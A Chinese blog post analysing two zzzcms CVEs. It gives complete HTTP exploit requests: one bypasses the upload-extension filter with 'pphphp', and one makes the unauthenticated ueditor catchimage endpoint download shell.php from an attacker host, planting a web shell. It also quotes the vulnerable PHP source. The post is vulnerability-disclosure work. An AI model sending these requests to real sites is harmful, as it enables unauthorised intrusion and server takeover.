zzzcms(CVE-2023-45555,CVE-2023-45554)漏洞分析

释放双眼,带上耳机,听听看~!

系统版本:

V2.1.9正式版 Build20230801

CVE-2023-45555   后台设置过滤绕过

POST /admin/save.php?act=saveupload HTTP/1.1
Host: www.zzcms.io
Content-Length: 1176
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.zzcms.io
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.zzcms.io/admin/index.php?act=uploadset
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zzz271_adminpass=1; zzz271_adminname=admin; zzz271_adminface=../plugins/face/face01.png; PHPSESSID=cird4j68rud1tppfn20jm51mc0; zzz811_token=7d40f662994070a3eb4ff0a52992a688; zzz271_admintime=1696660830
Connection: close

token=5fa0c8fe32bf6ab09ae6f3bd358107d7&timestamp=1696666974&uploadmark=1&uploadpath=upload/&datefolder=1&covermark=1&imageext=jpg,jpeg,gif,png&imagemaxsize=2mb&imageformat=shijian&compresswidth=2000&compressheight=2000&compressquality=80&fileext=pdf,txt,doc,docx,xls,xlsx,zip,rar&filemaxsize=10mb'&fileformat=pinyin&videoext=mp4,flv,swf&videomaxsize=20mb&videoformat=pinyin&smallmodel=选择模型&about_mode=5&about_width=300&about_height=300&about_quality=80&brand_mode=5&brand_width=400&brand_height=400&brand_quality=80&product_mode=5&product_width=300&product_height=300&product_quality=80&news_mode=5&news_width=300&news_height=300&news_quality=90&job_mode=5&job_width=350&job_height=350&job_quality=80&down_mode=5&down_width=300&down_height=400&down_quality=80&case_mode=5&case_width=300&case_height=500&case_quality=80&video_mode=5&video_width=400&video_height=500&video_quality=80&photo_mode=5&photo_width=500&photo_height=300&photo_quality=80&watertype=0&watermarkfont=zzzcms发生地方&watermarkpic=/images/logo.png&markpicwidth=100&markpicheight=30&markpicalpha=1&watermarklocation=1

修改imageext参数imageext=jpg,jpeg,gif,pngf,pphph

代码分析

admin/save.phpsave_upload方法1512行

$imageext=str_replace(array('php','bat','js','.',';'),'',$imageext);

仅对$imageext参数做了对php字符串的替换,如传入字符串为可通过pphphp字符则过滤后的结果为php

CVE-2023-45554  任意文件上传

结合CVE-2023-45555设置允许上传PHP后缀文件直接上传远程php文件

POST /plugins/ueditor/php/controller.php?action=catchimage&encode=utf-8 HTTP/1.1
Host: www.zzcms.io
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zzz271_adminpass=1; zzz271_adminname=admin; zzz271_adminface=..%2Fplugins%2Fface%2Fface01.png; PHPSESSID=cird4j68rud1tppfn20jm51mc0; zzz811_token=7d40f662994070a3eb4ff0a52992a688; zzz271_admintime=1696660830
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

source[]=http://10.211.55.2:8088/shell.php

代码分析

plugins/ueditor/php/controller.php

<?php
require '../../../inc/zzz_admin.php';
$CONFIG = json_decode(preg_replace("//*[sS]+?*//", "", file_get_contents("config.json")), true);
$action = safe_word(getform('action','get'));
$upfolder = safe_word(getform('upfolder','get'));
switch ($action) {
    case 'config':
        $result = json_encode($CONFIG);
        break;    
    /* 上传图片 */
    case 'uploadimage':
		$r=upload($_FILES['upfile'],'image',$upfolder);
		if($r['code']>0){
			$result =tojson(['state'=>'SUCCESS','title'=>$r['title'],'url'=>$r['url']]);
		}		
        break;   
    /* 上传涂鸦 */
    case 'uploadscrawl':   
		$upfile=getform('upfile','post');
    	$result =tojson(up_base64($upfile,$upfolder));
        break;   
    /* 上传文件 */
    case 'uploadfile':
       $r =upload($_FILES['upfile'],'file',$upfolder);
	   if($r['code']>0){
			$result =tojson(['state'=>'SUCCESS','title'=>$r['title'],'url'=>$r['url']]);
		}else{
			$result =tojson($r);
		}
        break;    
    /* 上传视频 */
	case 'uploadvideo':
		$r=upload($_FILES['upfile'],'video',$upfolder);
		if($r['code']>0){
			$result =tojson(['state'=>'SUCCESS','title'=>$r['title'],'url'=>$r['url']]);
		}else{
			$result =tojson($r);
		}
        break;  
	 /* 列出图片 */
    case 'listimage':
		$size=safe_word(getform('size','get'));
		$start=safe_word(getform('start','get'));
		$uporder=safe_word(getform('uporder','get'));
		$end = $start + $size;
		$allowFiles=str_replace(",","|",conf('imageext'));
		$path = getform('path','get') ;
		$path = $path ? SITE_DIR.$path.'/' : UPLOAD_DIR.$upfolder.'/';
		$path=str_replace('//','/',$path);
		$files = path_list($path, $allowFiles);
		foreach($files as $k=>$v){
			$sizes[$k] = $v['size'];
			$times[$k] = $v['mtime'];
			$names[$k] = $v['title'];
		}
		switch($uporder){
			case'size1'	: array_multisort($sizes,SORT_DESC,SORT_STRING, $files);break;
			case'size2'	: array_multisort($sizes,SORT_ASC,SORT_STRING, $files);break;	
			case'name1'	: array_multisort($names,SORT_DESC,SORT_STRING, $files);break;			
			case'mtime2'	: array_multisort($times,SORT_ASC,SORT_STRING, $files);break;	
			case'mtime1': array_multisort($times,SORT_DESC,SORT_STRING, $files);break;
			default;
		}	
		if (! count($files)) {
			return json_encode(array(
				"state" => "no match file",
				"list" => array(),
				"start" => $start,
				"total" => count($files)
			));
		}
		$len = count($files);

		for ($i =$start,$list = array(); $i <= $len-1 &&  $i <= $end; $i ++) {
			$list[] = $files[$i];			
		}
		$result = json_encode(array(
			"state" => "SUCCESS",
			"list" => $list,
			"start" => $start,
			"total" => count($files)
		));		
        break;
    /* 列出文件 */
    case 'listfile':
		$size=safe_word(getform('size','get'));
		$start=safe_word(getform('start','get'));
		$uporder=safe_word(getform('uporder','get'));
		$allowFiles=str_replace(",","|",conf('fileext'));
		$path = getform('path','get') ;
		$path = $path ? SITE_DIR.$path.'/' : UPLOAD_DIR.$upfolder.'/';
		$path=str_replace('//','/',$path);
		//echop($path);
		$files = path_list($path, $allowFiles);			
		$len = count($files);

		for ($i =$start,$list = array(); $i <= $len-1 &&  $i <= $len ; $i ++) {
			$list[] = $files[$i];			
		}
		$result = json_encode(array(
			"state" => "SUCCESS",
			"list" => $list,
			"start" => $start,
			"path" => $path,
			"total" => count($files)
		));		
        break;
    
    /* 抓取远程文件 */
    case 'catchimage':
		$source=getform('source','post');
		$list = array();
     	foreach ($source as $imgUrl) {
			$info =down_url(safe_url($imgUrl),$upfolder); 
			if ($info['code']>0){
				array_push($list, array(			
					"state" => "SUCCESS",				
					"title" => $info["data"],
					"url" => $info["data"],
					"source"=>$imgUrl
				));
			}
		}
		$result =  json_encode(array(
			'state' => count($list) ? 'SUCCESS' : 'ERROR',
			'list' => $list
		));
        break;
    default:
        $result = json_encode(array(
            'state' => '请求地址出错'
        ));
        break;
}
/* 输出结果 */
if (isset($_GET["callback"])) {
    if (preg_match("/^[w_]+$/", $_GET["callback"])) {
        echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
    } else {
        echo json_encode(array(
            'state' => 'callback参数不合法'
        ));
    }
} else {
    echo($result);
}

该文件并未做鉴权访问,可未授权访问。其中当$action值为catchimage时进入down_url方法

inc/zzz_file.php

function down_url( $url, $save_dir='file', $filename = '', $type = 0 ) {
	if ( is_null( $url ) ) return array( 'msg' => '内容为空', 'state' => 'ERROR',  'error' => 1 );
	$save_dir = SITE_DIR.conf('uploadpath').$save_dir.'/';
	if ( trim( $filename ) == '' ) { //保存文件名
		$file_ext	=	file_ext( $url ) ?: 'jpg';
		$filename	=	file_pre( $url ).'.'.$file_ext;
	}else{
		$file_ext	=	file_ext( $url ) ?: 'jpg';
	}
	$allext=conf('imageext').','.conf('fileext').','.conf('videoext');
	if(!in_array($file_ext,splits($allext,','))){
		return array( 'msg' => '创建文件失败,禁止创建'.$file_ext.'文件!', 'state' => 'ERROR',  'error' => 5 );
	}
	//创建保存目录 
	if ( !file_exists( $save_dir ) && !mkdir( $save_dir, 0777, true ) ) {
		return array( 'msg' => '创建文件夹失败', 'state' => 'ERROR',  'error' => 5 );
	}
	$file_dir = $save_dir . $filename;
	$file_path = str_replace( SITE_DIR, SITE_PATH, $file_dir );
	if ( file_exists( $file_dir ) )	del_file( $file_dir );
	//获取远程文件所采用的方法  
	if ( $type ) {
		$ch = curl_init();
		$timeout = 5;
		curl_setopt( $ch, CURLOPT_URL, $url );
		curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
		curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
		$img = curl_exec( $ch );
		curl_close( $ch );
	} else {
		ob_start();//本地缓存
		readfile( $url );
		$img = ob_get_contents();
		ob_end_clean();
	}
	$fp2 = @fopen( $file_dir, 'a' );
	fwrite( $fp2, $img );
	fclose( $fp2 );
	unset( $img, $url );
	$size= filesize($file_dir);
	if($size){
		return array('state'=> 'SUCCESS','title' => $filename, 'dir' => $file_dir, 'ext' => $file_ext, 'url' => $file_path,'size'=>$size );
	}else{
		return array('state'=> 'ERROR','msg'=>'文件下载失败,有防盗链限制','title' => $filename, 'dir' => $file_dir, 'ext' => $file_ext, 'path' => $file_path,'size'=>$size );
	}
	
}

第1240行-第1253行

$filename为空时$filename的值为远程文件的文件名称

在CVE-2023-45555中已设置配置文件config.php中imageext参数允许php后缀名上传,则绕过1247行检查文件后缀代码

给TA买糖
共{{data.count}}人
人已赞赏
Web安全招聘网络安全行业热点

齐安科技荣获宁波水利水务行业网络安全攻防演练一等奖

2023-9-26 23:07:42

行业热点

区块链市场乱象丛生,和数软件实现真正的产品落地

2018-5-8 3:13:26

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索